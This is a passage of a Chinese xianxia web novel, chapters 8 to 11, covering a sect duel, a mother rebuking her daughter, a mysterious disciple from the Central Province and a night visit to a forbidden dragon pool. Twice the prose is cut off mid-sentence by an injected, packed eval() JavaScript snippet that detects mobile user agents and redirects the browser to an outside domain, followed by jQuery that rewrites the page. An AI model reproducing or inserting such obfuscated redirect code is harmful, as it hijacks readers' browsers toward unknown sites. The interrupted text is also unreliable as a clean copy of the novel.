她手中的轻虹剑一剑可斩化神期妖魔,要是被这剑伤到,皮肉几天都不会痊愈。 她虽然擅长使用鞭子,但剑术上的造诣却更高。 岁禾跟她对战,被她手中的轻虹剑逼得连连后退,虽然轻虹剑很快,岁禾手上的风鸣剑沉肃之意也能抵挡一阵。两人一柔一沉,交战小半炷香,双方都没讨到好处。 此时很多早已比试完的弟子都已经围观过来,他们没想到岁禾居然能与郭琼枝打成平审批 郭琼枝眼见围观的人越来越多,剑上出现焦灼感,她必须尽快取胜。在她连绵剑锋下,岁禾右腰被她刺中一剑。 皮肉被割破的声音在空荡的演武台上异常刺耳,连带围观的弟子一片唏嘘。 容貌秀丽的女子弯下腰,正是大师姐岁禾,而另一个瘦高个女子站在她对面,提着剑,剑尖正往外淌血。 弟子们发觉还是郭琼枝修为更高,仿佛应验之前的猜想。 “可惜了,肯定是琼枝师姐打赢了。” “岁禾大师姐虽然是宫主的亲授弟子,但她修为不佳,跟在宫主身边十年,才堪堪筑基,而那琼枝师姐,入出岫学宫两年,就已经是金丹初期。” 人群中的话语一字不漏传到一个男子耳中,那男子身形一顿,目光里一丝担忧闪过。 随行的伙伴注意到他的迟缓,停下脚步问他:“长宁,你不走吗?” 面对好友王生的关切,卫长宁一副不舒服的样子,说道:“刚才不知道哪里扭伤了,我歇一会再走。” 王生奇怪地说:“方才没见你哪里受伤啊。” 另一个同伴也点点头:“对啊,师弟你一向修为高超,方才我们与你交战,连你衣服都没碰到,你哪里不舒服啊。” 就见卫长宁扭了扭胳膊说:“也许是肩膀扭伤了吧……” “肩膀扭伤,那可是大事。我们陪你去金匮阁看看吧。” 卫长宁摆手,神色有些古怪:“那也许是太阳太大,晒昏了头。王生你陪我坐一会吧,我们歇一会再走。” 几个同伴对望一眼,临走不忘交待:“王生,你照顾好长宁师弟,我们先回房间了。你们也早点回来。” 8. 第 8 章 “师姐你受伤啦。” 琼枝装出一个惊讶的表情,眼中确是毫无掩饰的快意:“可这是比试,刀剑无眼,师姐见谅啦。” “见谅”二字还没说完,她眼中寒光一闪,一剑推出。 势若奔雷,岁禾见虹光如闪电一般朝胸膛的位置奔来,只能用手中剑横档。 “砰”火花撞击的声音。眼前闪过对方惊讶的表情,岁禾右臂抬起,挡过刺剑后,又是一剑破出。 琼枝被绵绵剑风挥得连连后退,直到几步之外才站定。 “你突破了。”琼枝咬牙,这绝不是一个筑基初期之人能使出的。 这个岁禾,不知何时已突破到筑基后期。明明前些天被捉去太苍囚牢时,她还十分孱弱,短短几天,她就提升到筑基后期。 “承蒙琼枝师妹指点。” 那人神色平静,一双眸子无惊无险。 这样的神色,落入对方眼里,分明是十足的讽刺。她郭琼枝怎能输在一个筑基之人手中。琼枝眼中寒光闪烁,手中之剑随主人心意发出嗡鸣,剑气搅弄旋风,化为五柄,转瞬已从从东南西北中五个方向,将对手包围。 一条醒目的白色结界亮起,岁禾被逼到演武场边界。 “退出去,你可就输了。” 岁禾止步,五柄小剑转向而至,堵住退路,按照演武场比试的规则,一旦超过边界,就将被判出局。 这伙人从前世就恶毒如斯,重活一世,还是恶性不改,随意虐杀她人性命,忍耐只会换来更残暴的对待。 眼前小剑直逼面门,刹那间,岁禾她弯腰躲过长剑。飞到半空后,几柄小剑也快速锁定,从背后三个方向奔袭。 无处可逃。一丝红色的暗光在岁禾眸子一闪而过。 四柄小剑在她的凝视中,突然悄无声息一动也不动了。郭琼枝直觉不好,忙将长剑召回,可哪里还来得及,长剑接口忽然被墨黑色的火焰环绕,火焰的另一头—— 竟是在那岁禾手中。 郭琼枝咬牙:“你这是什么邪门功夫!” 对面的岁禾轻飘飘一笑。而就在此时,琼枝的四柄长剑能动了。这是怎么回事? 下一刻一股凉意从脚底窜入全身,琼枝惊恐地发现四柄小剑在向自己靠近……对准的对象——是她自己。 那人长身站立,宛如恶魔。几柄小剑竟丝毫不认识主人,朝自己飞来,伴随着那人清冷的嗓音,一柄柄插入自己的身体。 “这一剑,是替方才被你们折辱的师妹们打的。” 好痛苦,郭琼枝被长剑刺中,眼眸发红,可那人根本不打算饶恕她。她说一句,小剑就飞出一柄。 “这一剑,是为了你在太苍囚牢之过。” 在连刺两剑后,郭琼枝吐出一口血来:“有本事你就杀了我。” 周围学子们大部分都比试完,正朝着这边围拢来,当众被这么多人围观,她情愿一死了之。 “杀了你?这里是演武场,我怎么能杀人呢?”那人一手控制剑,一步步走来,眸中不带一丝温度。 眼见她越靠越近,叶芙蕖终于忍不住暴呵:“岁禾,你要干什么?” “干什么?这可是比试,刀剑无眼,师妹见谅啦。” 这正是郭琼枝方才说的话。郭琼枝不知道她使了什么妖法,自己浑身动弹不得,只能像一只待宰的羔羊,任她宰杀。愤怒与屈辱在心中叫嚣。 “岁禾!你敢伤我,我们断月山不会放过你。你可要想清楚——”她的话戛然而止,寒冷从她脸上传来,相距不过一指,一柄小剑正抵着她的脸颊。 眼见自己的话语对那人毫无威胁,郭琼枝终于吓得尖叫起来。她平时自诩貌美,若是脸被划破,再好的灵丹妙药也难以修复好。 眼见相持不下,叶芙蕖也急得往这边过来:“你要划伤她,我们必将你碎尸万段!” 看见这伙人眼中露出的惊惧之色,岁禾这才耸耸肩:“开个玩笑而已。” 剑撤下后,郭琼枝被一伙人扶住,那人转身离去,挥挥手中之剑。 “师妹,你可是输了。” 没想到岁禾能打败郭琼枝,弟子们都惊叹讨论起来,郭琼枝被叶芙蕖她们搀扶离场,众人眼中的每一分同情都落入她眼中,像刀一样,每一刀都在她身上剜出一块血肉。 她手中之剑已合成一柄,鲜血顺着剑身淌在地上……今日过后,她一定要使个法子,让这个恶毒的女人求生不得求死不能。 …… 晚间十分,罗浮宫下雨了,夏初的雨蒙蒙笼住琼楼宫殿。 紫云峰之上,冷寂的宫殿里,叶芙蕖跪在殿中。 “你可知你错在哪里?” 烛火屏风后,缓步走来一位衣着华丽的美妇人,大约四十岁左右,头上插着步摇,身上珠环玉绕,十分注重打扮。 她的脸影在大殿的阴影中,脸色十分凝重,若是能仔细看,能发现她与叶芙蕖长得极为相似,称得上胖版的叶芙蕖。 这便是叶芙蕖的母亲,她向来对这位女儿给予厚望,可最近却总是失望。 “女儿不知。”叶芙蕖不懂母亲为何将她罚跪于披香殿,虽然面孔看起来成熟,但也只是十七岁的心性。 一颗紫色的珠子咕噜噜滚落在她脚下。 叶芙蕖捡起珠子,是幻影珠,她手指刚一碰到珠身,一段影像立马投射在殿中墙壁上。 “叶芙蕖,你一向不相信我,可你自己心悦之人也不相信了吗?” 熟悉的声音响起……这是那天…… 画面一转,昏暗的牢笼里,那人浑身被镣铐绑着,叶芙蕖在那段影像中看到自己的脸,自己寒若冰雪的脸。 “……母亲怎会知晓那天的事。” 幻影珠被中年妇人收回,妇人平复下心绪,说道:“这罗浮宫怎会有我息兰不知道的事。” 听到这里,叶芙蕖已是脸色惨白,低头伏地道:“女儿知错了。” “你错在哪里?” “女儿不该因一己之私将人关到太苍囚牢里,更不该伤害同袍。” 烛火在暗淡的大殿内燃烧,发出啪的轻响,在这样的沉默中,叶芙蕖听到母亲的声音在头顶一步之处响起。 “你为何要招惹那岁禾,你应该知道,她是裴煜之徒。” 裴煜之徒,裴煜早就不管她了,宫主弃徒罢了,叶芙蕖心中嗤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490101|185813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 “我知晓你心中所想,你以为裴煜那个老匹夫真的闭关了,就不理宫内之事了吗?你错了!” 息兰继续道:“你可知那卫长宁从何处而来?” 从何处而来,叶芙蕖想过这个事,她曾见过他使出剑术的招式,不像是南境的剑术。 “芙儿猜想他是从中州而来……他的剑术十分高超而磅礴,芙儿曾见过他只用一剑就击败了朱夫子的剑首……难道他是中州的大家族之子?” “除了剑术,你还被人家的长相迷惑吧。” 自己的心事被母亲戳破,叶芙蕖脸色涨红,羞愧地将头伏得更低了。 “他确实来自中州……有一事我没有告诉你,他是裴煜亲自引来的人!” 他是裴煜亲自引来的人。 这句话像一颗石子在叶芙蕖心中炸开。裴煜闭关两年,竟还在插手宫主之事……那她平日里对岁禾的刁难,不知宫主会不会知晓……不会的,裴煜大概早已厌弃了这岁禾…… 可是岁禾日下修为突飞猛进,今日甚至当众击败了郭琼枝,以往只有她们欺负她的份……难道宫主其实在暗地里教她剑法…… 叶芙蕖越想越后怕。但她们目前没受到任何牵累,想来宫主是不会插手这些事,不过以后就说不定了。 “你以后还是少招惹这个岁禾,她与裴煜关系微妙,养育之恩大于一切。你和那个叫什么琼枝的,不可再行此鲁莽之事。” 叶芙蕖点头说是。 教训完女儿,息兰又将话题引到卫长宁身上。 “中州与我们南境表面和气,实则暗自争斗多年,论剑术,谁也不服谁。剑圣之都争夺多年,最后还是中州胜出。我们南境已经有几十年没有招收过中州弟子,这次却破格收了中州弟子。也不知这老匹夫心里在盘算些什么?” 半年前卫长宁突然出现在新招收的弟子里,她那时一眼就看到了她,这个新来的弟子身上有迷一样的东西,仿佛身上永远笼着一层雾气。 尽管他对自己很礼貌,但她总觉得,这人很难靠近。 自己是如何被他吸引的呢,大概是他来的那个秋天,落叶枯黄了吧,她一抬头,就看见一个身穿玄衣的男子在向她问路,那人长身玉立,低头问路的样子温柔又虔诚。 落叶一片片坠落在他身上,像一只只停歇的蝴蝶。那人拂开落叶,柔软的唇翕合着。而她根本听不到他的声音。 她只听到胸腔里一颗心跳的声音。 剧烈而欢腾,从此像是落叶和风一样的追逐。她自私地想将那风握在手上。 思绪拉回现在,母亲悠长的声音还在响起。 “半年前你爹接到宫主密信,中州送来一位弟子过来,正是这个卫长宁。不过他的身世对外是保密的,连你爹也不知道他的来历。” 连她爹都不知道此人的来历,会是什么样的人呢?叶芙蕖不禁在心内猜想。 “你与这个卫长宁走得近,倒也不算是一件坏事。你要多留意他的动态。” “那裴煜人虽然闭关,其实耳目都在,这罗浮宫还是在他的笼罩之下。” “我们也想搞清楚他到底在搞什么名堂。” 9. 第 9 章 是夜,出岫学宫的上空寂静深远。 抬头遥远,月亮穿行在云里,满天摇曳的浪漫星河。 学宫一处宿舍里,一个玄衣束发的男子,站着窗边,朗身眺望头顶的深空。 他一手执玉笛,靠在窗边,乌黑的长发柔软垂下来,呜咽笛声从他唇畔飘出。 良久,他身后走来一个黑衣黑帽的人,不知站在他身后多久,像幽灵一样,终于开口道:“你怎么又吹笛子,这是家主不允许的,你自己应当知晓。” 笛声停了,吹笛子的人转过身,正是卫长宁。卫长宁收起笛子,叹口气,对着面前的黑衣人说道:“你真是无处不在。” “那是自然,家主让我看着你,那我就得好好看着你。” “我有何需要看管?” “看你有没有惹祸呗,你的动态,我可是要随时向家主禀告的。” 黑衣人摘掉帽子,露出一张脸,竟是一个十三四岁的少年。 这个少年是他的随身剑侍,名叫苦夏,是那个人派到他身边来的,监视他,服侍他。不过卫长宁并不觉得自己有何需要服侍的。 “你可以汇报我的行踪,但不要太干涉的事情。说吧,那个人有何指示?” “那个人,你怎么还是这么叫他,他是你的父亲。” 父亲这两个字似乎戳痛了卫长宁,他脸上隐隐有薄怒,只瞬间就压了下去。 “知道了,我们的事用不着你管,你只需要告诉我,他这次又要让我去做什么。” 苦夏耸耸肩,在他耳边耳语几句。 卫长宁听完,眉头不自觉皱起,良久才道知道了,随后不再言语,沉默地看着窗外。 窗外一片沉寂,只有少许的虫鸣,借着窗外的月色,可以看清外面的景象。近处是一方杂草丛生的荒地,再远一点是隐隐绰绰的灰白色的围墙,围墙外更远的地方,依稀能看到成群的黛色山峦。 “少主身上背负家主的期望,我劝你还是按家主的旨意来,完成此次任务。”苦夏在房间里转悠一圈,丝毫没拿自己当外人,自顾自的在卫长宁的床上躺着。 四仰八叉躺着,并发出一声很怪的叹息。 “学宫的床还是太硬了,到底比不上我们中州的。” 卫长宁丝毫没看他,侧身打开柜子,将玉笛用一卷黑色的绸布包好,小心地将笛子放在柜中,关上柜子门。 苦夏在床上躺够,这才支起身子,开始询问他:“最近学宫里传出很多你跟女弟子的趣闻,少主可有什么要解释的吗?” “有什么要解释的?” “少主从迷雾森林里回来就不对劲,当时我问你你不说,还好我暗自跟着你,听到了好多八卦。你不会真的跟她在幻海花里发生了什么吧?” “没有的事,别听那些弟子乱说。” “没有的话,你这些天发呆的时间越来越长,这又是怎么回事?”苦夏一张俊秀的脸,露出苦大仇深的表情:“别怪我没提醒你。你做了什么,不止家主,连先生都知道得一清二楚。” 先生。卫长宁平静的面容终于露出裂痕:“你到底是那个人的人,还是先生的人。你自己要搞清楚。” 苦夏扁扁嘴,额间一抹金色的火焰印记异常醒目。他平静了会,道:“我当然是少主你的人。” 他从出生就注定守卫这个世家,这是他金乌一族逃不开的宿命。虽然家主和镜先生都对少主寄予厚望,但他也不会何事都与家主他们说。在他看来,少主目前异动很多,心思浮动,不再像以往做事那样狠绝,这绝不是一件好事。 “少主,你在南境已经半年了……”苦夏斟酌了下,说道:“这半年里,家主交待你的事情你毫无进展,先生嘱咐你的事你也没听。这样下去,冬至来临之际,你两手空空回去,将会面临怎样的境地,你知道吗?” “你有没有想过你自身的下场?还有……苏华夫人……” “不必再说了!” 那个人本就露出裂痕的表情终于碎了,怒气染上他的眼角,他沉静的面目上,额头那里一枚火焰印记正急促地发着光。 “少主你……”苦夏指指他的额头,露出担忧又害怕的神色。 卫长宁一怔,快速伸出手指,在额头一抹,火焰印记这次消散。 随后他露出一丝苦笑,就快遮不住了吗? 小屋内烛火摇曳。不一会,一个书生摸样的男子提灯笼进屋。 眼见一只黑影飞出窗外,书生怀疑是自己眼花,特地问卫长宁:“刚才我没看错吧,一只鸟从你屋子里飞了出去?” 他疑惑地说:“卫兄你养鸟吗?” 卫长宁关上窗,神色颇有些不自然:“我怎么会养鸟,那自然是一只野鸟,无意间飞落至此。” 书生将灯笼吹灭,在屋内环顾一周,借着室内烛火,说道:“你这里是挺简陋的……要不你还是跟我一起搬回东苑吧,这西苑环境确实有点差,这桌椅都多少年了。” 他伸手在桌子上抹了一指,颇有些嫌弃地说:“桌漆都退了色,这也能用吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490102|185813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此人正是王生,王姓乃南境望姓,世代经商,家产富饶,卫长宁虽不知这王生的来历,但从日常交往中,也能感知此人家世不菲。 东苑的房间确实小,屋内只能容得下一张床,一个桌子,一张椅子,但好歹墙角还能放两个盆,收纳几双鞋子。 卫长宁谢绝了王生邀请同住的好意,见他没有要走的意思,问他:“王兄这么晚你来我这里,不是为了指责我的屋子的吧?” 王生笑嘻嘻拖开桌前的凳子坐下,本想再找张凳子坐,奈何环顾一周,也没看到多余的椅子,这次放弃。 从衣服里掏出几本书放在桌子上,都是一些修仙通史,有《修仙通史》、《云笈七签》、《悟真篇》《抱补子》和《道藏》。 卫长宁疑惑:“……所以你今天来找我是?” 就见王生笑得一脸灿烂,并发表自己朴素的请求:“——抄书。” 卫长宁扶额——美男语塞。 …… 莺歌小筑内,岁禾正坐在镜子前打理头发。 忽然一阵笛声传来,她问小怜,小怜正给她整理妆奁,听她这么问,却是摇头。 “……笛声?这大半夜哪来的笛声?” 此时正是戌时末,罗浮宫内之人早已休息,这个点除了守夜的侍卫,应该大部分人都已经休息。怎么会有人笛声? 可是她确信没有听错。 那笛声如慕如诉,有些忧愁哀怨,让她想起临死前一幕,她被四方修士追杀,领头的那个面具男正是吹笛人。 面具人突然从天而降,凌空半日,执笛而立,在众人都拿她毫无办法之际,手持长笛,一曲未毕就破了她的修为。 那是柄通体碧绿的笛子,上面绣着几朵金色的古老花纹。笛音穿耳,她功法大失,体力魔力乱窜,终于被中州修士围攻而死。 若不是那个古怪的笛音,若不是这突然出现的吹笛人,她也不会身死龙山,说不定更不会重活这一世。 她活过来第一件是就是想去找这吹笛之人,若能提前杀了他,来日她成王之日,也不会落得万剑穿心的下场。 可这四海八荒,芸芸众生,这戴面具的吹笛人又哪里去找? 她一度为此苦恼。可是今天,她又听到了这种笛声。 似曾相识的笛声。不知从哪里来的笛声,被夜风一送,飘到了她的耳朵里。 不过这天下之大,吹笛之人数不胜数,中州的吹笛人,怎么会在南境之内。 她一定是想多了。 10. 第 10 章 如此又过了一个多月,已经是六月,天气渐渐炎热,罗浮宫的弟子都换了轻薄的衫子。 演武场的比试结束,选出前五十名弟子,可以进入风极海进行试炼。但何时去,学宫还没传出消息。 岁禾自然在这五十名弟子之内,除她之外,叶氏姐妹、许琼枝等人也在其内。不过由于比试对象不同,学宫只公布了前五十名的名单,并未在这五十名内进行比试。在众多比试中,岁禾也如愿以偿再未遇到叶芙蕖。 这一个多月里,岁禾已稳定发挥,修炼至金丹初期。 而风极海试炼迟迟没有消息,但近日罗浮宫内另一则消息,却惹得人心惶惶。 据说宫内有大妖作乱。 那大妖专食鹿灵,宫内修炼成人形的鹿都被咬穿脖颈,流血而亡。 听到这则消息时,岁禾已被连翘长老请到了药庐。据连翘说,四大长老已知晓了此消息,并在罗浮宫内封锁了消息的来源,以免引起更多的恐慌。 长老们增派了很多巡卫,也没抓到那作乱的妖物。 在连伤几只修炼成人形的鹿灵后,那妖物突然遁形,在宫内消失得无影无踪。本来鹿灵修炼成人形就艰难,罗浮宫内也只有十多只人形鹿灵,这下一共就死了四个,剩下的鹿灵都被长老们保护起来。 “你面前的这位姑娘,就是沉曜长老手中救下来的一只鹿灵。” 连翘指指面前的矮塌上,躺着的一位昏迷不醒的少女。少女看起来十二三岁,跟小怜差不多的年纪。 “这妖物专挑少女鹿灵下手,咬伤脖颈,吸食血气。一旦被它挑中,几乎无法存活。要不是沉曜及时赶到,这少女也活不了。” 鹿灵为南境云隐国内的吉祥物,南境双鹿则被看作上天的赐福。婚仪庆典都以双鹿作为图腾,象征赐福于世,合和晋好。多年来的捕杀使得南境内之鹿大幅减少,在上一代宫主的命令下,减少对鹿的捕杀,才使得现有鹿增多。 修炼成人形的鹿,唤作鹿灵。 鹿灵之血,可通阴魂,可裨修为。 “罗浮宫内守卫森严,竟会出现妖物作乱。”岁禾十分不解。 “这姑娘昏迷不醒,口中一直念叨着什么。应该是她们的鹿语,我听了半天都听不出来她在说什么,这才把你喊来。” 连翘说:“你常与小怜相处,你多少知道点鹿灵之间的对话,你来听听她到底在说什么?” 岁禾很少听见小怜说鹿语,她作为人类修士,也不懂那些山间精怪之语。 只在靠近时,能看见那躺着之人脖颈边的异常,两个深紫的血洞赫然出现其上,深可见底。不知被什么东西咬过,血洞旁边的皮肤都皱起。 血流失过多,少女变得虚弱,脸色呈现病态的苍白,一张素净的脸上汗珠滚滚,皲裂起皮的嘴唇翕合着。 有声音从喉管里传来,奇特的语音,不是人语。 “听不清,可能只有她们鹿灵才听得清楚。为何不讲小怜召来问询?” “可别说了,你的小怜被金匮阁新来的那位差遣走了,谁敢去找她要人。”连翘翻个白眼。 岁禾心下一跳,她这几日忙于修炼,确实有好几日没有见过小怜,原以为小怜在连翘这里,现在发觉小怜不在。 “新来了谁?” 如今妖魔作乱,小怜却被人借走,她不禁担心起小怜的安危。 “还能是谁,裴煜那位未过门的妻子呗。” 药庐里空气忽然停滞一下,心里像被一记重锤锤了一下,岁禾有些呼吸不过来。 她有些颤抖地问:“来之人可是叫泱姬?” 连翘想了下,说道:“不是这个名,叫作什么来的……伽香,是叫伽香。” 伽香……她想起来了,前世泱姬正是唤作这个名字,伽香是她在人间的名字。她化作隐族圣女,前来履行婚约。 没想到来得如此之快,上一世差不多也是这个时候,泱姬堂而皇之出现在罗浮宫,被安置在离虚华殿最近的流云殿,自她出现后,裴煜也就出关了,不仅出关,还常去看她。 那时候的自己常为此生气,并一次次闯出祸事,直到把裴煜推离。 而此时,同样的时间,她毫无防备,泱姬竟已经将手伸入金匮阁。 连翘知道她与裴煜之间有些摩擦,安慰她道:“你师父他一向自有主张,认准的事绝不悔改。他既然认下伽香,并将她引入金匮阁,我们纵有一万个不愿意,那也没法。” 伽香不知使了什么美色,前世将一向清冷的裴煜迷得神魂颠倒,这一世仍旧如此。金匮阁乃罗浮宫医药重地,他却大大方方将此处交予一个外族之手。 若是伽香真在金匮阁里做什么手脚,罗浮宫上下三千修士,还有命可活吗? 伽香与裴煜将在冬至这日完婚,距离现在还有半年,只有半年的时间,南境就要灭国。而裴煜对她避而不见,不仅如此,还将伽香安排进了金匮阁,怕是等不到冬至。 看来她还得去这金匮阁会一会此人。 岁禾正这样想着,却听一声痛苦低语,塌上之人似乎有转醒之意。 两人皆是凑近听,却仍旧只听到几声鹿语。 “或许我可以听懂。”一道冷沉的男声忽然响起。 屋内光线变亮,就见一个修长身影打帘外进来,一边走,一边对连翘问安。岁禾注意到,他手上提着一个药箱子,应该是来给连翘送药来的。 “年少时,家中曾教我些许兽语,长老如若不弃,请让在下试试。” 连翘点点头,表示首肯。 连翘点头,岁禾却有些语塞。这个卫长宁,不仅会医药,还懂兽语,真是哪哪都有他。反观自己,身为宫主之徒,剑术极差,医术各种也没啥造诣。上辈子能当上北境之王,纯属运气。 对于这个卫长宁,岁禾有些复杂的情绪。这人跟自己有点肢体接触,虽然已经过了无数年,可那挥之不去的尴尬感仍跳出来,时不时提醒她,那一晚上的事情。 她常常在学宫里遇见他,也常常装作看不见他。可即使如此,两人还是会在药庐偶尔见面。就如此刻一样。 两人面对面,将人当空气这种事,有了一遍就有第二遍,但回回如此,多少有点心中不适。 那人仍旧如前几次遇到她一样,象征性打了个招呼,而她也勉强地回了个微笑。而他很有礼貌地绕过她,将药箱给连翘后,在连翘的授意下,来到塌边。 毕竟是女弟子,相处一室本就不便,但此刻救人一命胜造七级浮屠,也顾不得那些男女之嫌。何况,只是凑近了听一听。 女弟子口中说着奇怪的短句,卫长宁立于离她一步之距,仔细聆听。 只见他微微蹙眉,半张如玉的侧脸有些疑惑,似乎是听懂了,又似乎不确定。 半晌,他侧身往回走,看那表情,应该是有了眉目。 “她说的是三个字,魔龙潭。” 随着他嘴唇的张合,岁禾听到这句话。魔龙潭三个字,不仅让连翘变了脸色,也让岁禾暗自吃惊。 怎么会是这个地方?这里是罗浮宫的禁地。 “我知道了,今日你听到的,不可对外言语,知道吗?”连翘不知想到了什么,摆摆手说道:“今日谢谢你,你们两个先下去吧,我要先想一想。” 岁禾与卫长宁一前一后出了药庐。 药庐外光线充足,树荫下两人相互对望。 岁禾率先发问:“你到底是谁?怎会知道兽语?” 多日来,这个卫长宁身上总是有解不开的谜团,突然出现,成为众人的拥戴,又引得叶芙蕖一伙人与她作对。特别是现在,他还展示了对兽语的了解。 据她所知,整个南境懂得鸟兽之言的人也不会超过五个。而懂兽语的,整个大陆中,当属中州的周家,可驾驭虎兽,也可与兽沟通,上辈子引得世家来龙山之下征讨她的,就有周家。 可此人姓卫,不姓周。那他又是谁?除开中州,倒是东海瀛洲岛之人精通兽语,但东海已经在多年前被中州吞并,覆灭。他不可能是东海之人。 若他不是来自南境,可能会有中州周家有所瓜葛。 看出她眼里的诘问,卫长宁只是淡淡看着她,说道:“我是谁,我只是出身南境商人之家,半年前来这里学剑术和医药。恰好家中有人懂兽语。关于我的身世,你要是不信,可以去问连翘长老。” 说者之人毫无愧色,看来这事多半是真。既然他要她去问连翘姨,想来连翘姨对此事也确信不疑。若她去查,多半也是毫无结果。 这是她第一次跟他单独说这么多话。上次药庐相见,他教她煎药,只能感受到他的存在,这次两人面对面,她第一次看清了他。 他并不像她印象中那么年轻,原本她一直听人叫他小师弟,便一直认为他是个十五岁左右的稚气美少年。如今近距离看,用美少年形容他,却是脱离事实。 看面貌,他应该有十七岁的样子。跟她差不多大年龄,只是入门晚,才被人换作小师弟。 其实他本人是偏成熟的美。成熟的美?她也不知道怎么会如此形容一个男人。她竟然夸赞他美。眼前之人,是敌是友还分不清,美不美也不重要。 但这人确实眉眼深邃,鼻梁挺俊,一双眼睛看人时,眼珠特别亮,有种让人误会的神情。若不是他气质偏沉冷,他那双眼睛,是一双含情目的眼睛。 岁禾几乎很能理解叶芙蕖,一向清高冷傲的叶芙蕖,为什么会喜欢上这个人。 “师姐盯着我看,是有什么疑虑,还是在回味些什么?” 那人漆黑的眸子里,露出一点美而自知的戏谑。 他这是在调侃她? 岁禾挪开目光,面对美男的调戏毫不动摇:“你想多了,我对三心二意的人,可不会回味,更不会有兴趣。” 她转身就走,丝毫不顾及身后之人。 也不会知道,身后之人,那慢慢冷凝的瞳孔,和收起的唇角。 …… 罗浮宫有很多秘密。 而一些秘密,注定在黑夜里浮现。 依照印象中的路线,绕过出岫山后,一个人影扒开荒草,从草间滑落。 只见这人身手敏捷,穿着夜行服,看不清脸,作黑衣人的打扮,似乎并不想要人发现他的存在。在顺着草坡纵下后,这人迅速调整身姿,一路不停,飞身径直狂奔。 不一会,黑衣人来到一片树林边。 树林被雾气环绕,雾气中,可见林子边隐隐有一片泽宇在月光下发着亮光。 原来是一片潭水,潭水幽深,水面上笼罩一层白茫茫的水汽。 黑衣人伏在离水不远处的岸边荒草中,面对飘着雾气的水潭,一双眼睛不知道在想些什么。 这人正在深思,忽然听到身后有脚步声窸窸窣窣传来,黑 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岁禾往旁边一缩,给他让出一点位置。两人肩挨着肩……靠在草丛里…… “你……”这个狡猾的卫长宁。 自己一个大魔头,竟然被一个后辈男子堵在这荒草中,一动不能动。简直是对魔头的侮辱。 到眼下不是与他较真的时候,如他所说。禁地确实有禁制,而且守卫会经过。她必须尽快探明这里,然后迅速离开。 “我来这里看一看,魔龙潭到底长什么样子。”岁禾解释。 那人却不信:“看大师姐这熟练的步伐,不像是第一次来此处。” 说完,隔着面罩的双眸,露出一起狡黠的笑容。即使看不清他整张脸,她也能看清那眸子里的戏谑。 的确如此。他说的对,她不是第一次来此处。 准确地说,她小时候来过这里。 那是她十岁的时候,在出岫山玩,一路追着天灵鸟到此处,不小心滚到一处荒草中,她被摔得四仰八叉,以为自己要死了。却没有死。她顺着荒草中的坡地一路翻滚,最终来到了这片树林间。 她已经忘记了那时的震撼,林边竟然有一处水潭。 潭水幽幽,水里好像有东西在呼唤她,指引她一步步前去。 是谁阻止了她呢? “别去!岁禾!”另一道声音说。 是师父。师父一路追寻她的气息来到这里,在她即将迈出鞋子踏入水中时,及时将她一把扯回。 随后她被师父挟起,飞速离开这里。 “那里危险,以后别来此处,知道吗?”师父责骂又心疼的声音响起在头顶。 伴随着呼啸的风声,潭水在身下飞快倒退。幼年的她丝毫没有恐惧,居高临下仍扭头在看那潭水。 潭面呈墨绿色,像一颗宝石,绿莹莹的,真漂亮。 这漂亮里,还藏着一丝奇怪的感觉,那时她还不知道如何形容,现在看来,大概就是诡异吧。 诡异里,藏着一丝平静,就像她无数次来过此处一样。 “别碰这里。”一身呵斥。 眼前之人,与印象中那人身姿重合。一样的身高,一样的关切,只是眼前之人,更年轻,也更陌生罢了。 手指被一声翁鸣弹开,随后哐当几声,她被一阵巨大的冲击波弹开。 随后在几步之外,落入一个温暖的怀抱,像小时候那样,落入那人的怀抱。只是不一样的气息。师父身上是洁净的槐花的香味,而这人身子却是清冷的月光草的味道,冷而淡。即使是温热的怀抱,却有一种拒人千里的冷淡。 “师姐没事吧。” 岁禾正起身子,刚刚一瞬间的恍惚,现在被拉回现实。只见方才被她触碰过的空气里,层层阵纹亮起,金色阵纹团团将潭水围了个水泄不通。 再不能靠近一步。 这是上古的符纹,出自紫皇那个年代。 “是紫皇那些人下的禁制。” 这里面肯定有不可告人的秘密……岁禾直觉这里面关了什么东西。 那东西静静在水底沉睡。尽管她此刻看不到它,也感知不到它,可就是能隐约觉察到,这片水底下,暗藏汹涌的波澜。 那是活物的气息。 风吹在潭面上,泛起一层层波浪,而潭水底纹丝不动,深不见底的样子……在月光的映照下,甚至有点瘆人。 “这里不太平,师姐不该贸然闯入此处。” “你不是也来了此处吗?” 两人僵持不下,夜风吹在人身上,六月的天,却有些凉飕飕的感觉。 “白日里那鹿灵反复提到此处,这里必定有古怪,最近学宫里接二连三出事,我也很好奇。” 这确实是个来此处探险的好理由。可是岁禾不会相信他。 这人不去关心他的芙蕖师姐,反而在此处跟他纠缠不清,绝不会像他说的这么简单。 既然这里被下了禁制,趁守卫没来,她们还是该早点离开这里。 “你对学宫之事好奇,我对师弟你更好奇。这里既然这里无法靠近,不如我们换个地方,再行探讨。” 两人并行离去,暗淡的夜空里,谁也没有注意到,岁禾眼中,慢慢凝聚出一点红光。 ——杀机。 11. 第 11 章 两人一前一后,互不言语。 一股无形的压迫在周围弥漫开。漫天的星子,都闪烁着诡异的光芒。 岁禾一路走,一路在思索自己的心事。盯着卫长宁的后脑勺,几乎要将那里盯出一个洞来。 “我身上,是有什么奇特之处吗?” 